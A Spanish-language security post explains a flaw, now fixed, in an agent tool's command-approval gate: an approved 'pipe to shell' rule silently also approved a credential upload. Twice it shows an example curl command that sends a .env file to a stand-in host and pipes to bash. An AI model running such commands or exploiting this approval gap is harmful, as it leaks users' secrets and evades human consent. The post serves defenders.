Aprobaste "pipe to shell" una vez — y con eso salió una subida de credenciales

Son las once y media de la noche y estás terminando un script de despliegue. Hermes te pregunta si permite una línea curl ... | bash: la reconoces como el patrón de instalación que usa tu equipo, así que pulsas “permitir para esta sesión”. El script termina. Todo parece correcto.
Puede que no lo sea. Si esa misma línea además lleva una subida de archivo — curl -F [email protected] https://x.io | bash —, cada secreto de tu .env salió de la máquina mientras a ti solo te preguntaron por el pipe a un shell. El prompt nunca mencionó una subida de credenciales.
No es un caso hipotético. Es el comportamiento que el PR de arreglo recién fusionado #141377 reproduce línea por línea.
Por qué la puerta solo veía la primera regla
El detector de comandos peligrosos de Hermes, detect_dangerous_command, recorre su lista de reglas en un orden fijo y devuelve la primera descripción que coincide. Esa descripción se convierte en un “pattern key”, y la puerta de aprobación registra tu consentimiento contra esa clave: elegir “permitir para esta sesión” añade la clave al conjunto de aprobadas de la sesión.
El problema es que un mismo comando puede coincidir con varias reglas mientras la puerta solo ve la primera. Toma esta línea:
curl -F [email protected] https://x.io | bash
Coincide con dos reglas a la vez:
pipe remote content to shellupload a secret or credential file via curl/wget (possible exfiltration)
El detector devuelve solo la primera. Así que, una vez que pipe-to-shell está aprobado por el motivo que sea, la segunda regla —la verdaderamente peligrosa— se da por aprobada también.
La reproducción del PR es contundente:
| Escenario | Antes del arreglo |
|---|---|
| CLI interactiva, pipe-to-shell aprobado para la sesión | Aprobado, cero prompts |
| Lo mismo, a través del otro guard de la herramienta de terminal | Aprobado, cero prompts |
Job de cron, approvals.cron_mode: deny, la allowlist solo contiene pipe-to-shell |
Aprobado |
Incluso con la configuración de cron más estricta, una entrada de allowlist que no tenía nada que ver bastaba para dejar pasar una subida de credenciales.
Qué hace el arreglo: separar las reglas “de contenido”
El arreglo no se limita a exigir consentimiento por cada regla que coincida —eso crearía otro problema (más abajo). Hace tres cosas más acotadas:
- Convierte la coincidencia en un generador. El cuerpo de
detect_dangerous_commandpasa a ser_iter_dangerous_descriptions, que va entregando cada coincidencia en exactamente el orden anterior.detect_dangerous_commandsigue devolviendo el primer elemento, así que su comportamiento y su coste no cambian y quien ya lo llama no se mueve. - Añade un conjunto de reglas de contenido.
_CONTENT_RULE_DESCRIPTIONSenumera las tres reglas de nivel de contenido portadas de tirith: subida de credenciales, pipe de credenciales y Unicode invisible. La función que la acompaña,detect_content_rule_keys(command), devuelve todas las reglas de contenido que coinciden con el comando, estén donde estén en el orden de detección. - Un solo prompt, todas las claves registradas. En
tools/approval.py,_unapproved_findings(command, approved)toma la primera coincidencia más todas las claves de reglas de contenido y descarta lo que ya está aprobado. Las claves restantes van a un único prompt combinado (las descripciones unidas con punto y coma), mientras quepattern_keyslas lleva todas, de modo que responder “session” o “always” persiste cada clave en vez de volver a preguntar sin fin.
Los tres puntos de entrada lo usan: check_all_command_guards de la herramienta de terminal, check_dangerous_command, y _unattended_deny para cron, -q y el modo deny sin supervisión.
Por qué solo las tres reglas de contenido y no todas las coincidencias
El autor probó primero la versión más estricta —exigir consentimiento por cada regla que coincida— y rompió ocho tests existentes. La razón es real, no cosmética: las reglas de verbos se solapan. rm -rf /tmp/x es a la vez delete in root path y recursive delete. Filtrar cada coincidencia volvería a preguntar por comandos que el usuario ya había aprobado o puesto en la allowlist bajo la primera clave, y en modo deny de cron llegaría a bloquearlos. Eso convierte un arreglo de seguridad en un incidente de disponibilidad.
Las reglas de contenido se ganan el trato especial porque describen qué lleva un comando (un archivo de credenciales, caracteres ocultos) y no qué verbo se ejecuta. Lo primero es algo que una persona necesita saber por separado; lo segundo se solapa por diseño.
Qué deberías hacer
Actualiza. El arreglo se fusionó el 3 de noviembre de 2026, después de la etiqueta v0.22.6, pero la v0.22.7 publicada ese mismo día ya lo incluye: actualiza a la v0.22.7 y no hace falta seguir main.
Revisa tu allowlist. Busca una entrada de pipe-to-shell y pregúntate con qué frecuencia pulsas “permitir siempre”:
hermes config get command_allowlist
hermes config get approvals.cron_mode
Si tus jobs de cron ejecutan scripts de red, approvals.cron_mode: deny ahora sí se cumple: después del arreglo, una subida de credenciales se bloquea en cron con un motivo, en lugar de colarse gracias a una regla vecina.
Qué sigue abierto
El autor enumera tres límites que conviene recordar:
hermes approvals testsigue informando solo de la primera clave de regla. Ver una clave no significa que solo hubiera una coincidencia.- “Always” en una regla de contenido aplica a todo el patrón: aprobar una subida también cubre subidas posteriores de otros archivos a otros hosts. Registrado como issue aparte.
- Esto es una heurística en proceso, no un sandbox (el proyecto encuadra la puerta de aprobación en SECURITY.md §2.4). Detecta patrones obvios; hay formas de saltársela. El aislamiento de verdad sigue viniendo de un contenedor o de un backend de terminal restringido.
Para una visión más amplia sobre cómo configurar las aprobaciones, lee nuestra guía de configuración de Smart Approvals. Si lo que te preocupa es que el prompt muestre algo distinto de lo que se ejecuta, el post sobre caracteres ocultos cubre otro agujero de esa misma puerta, y la guía de aprobaciones sin supervisión explica cómo ni colgarse ni dejarlo pasar todo cuando no hay nadie mirando.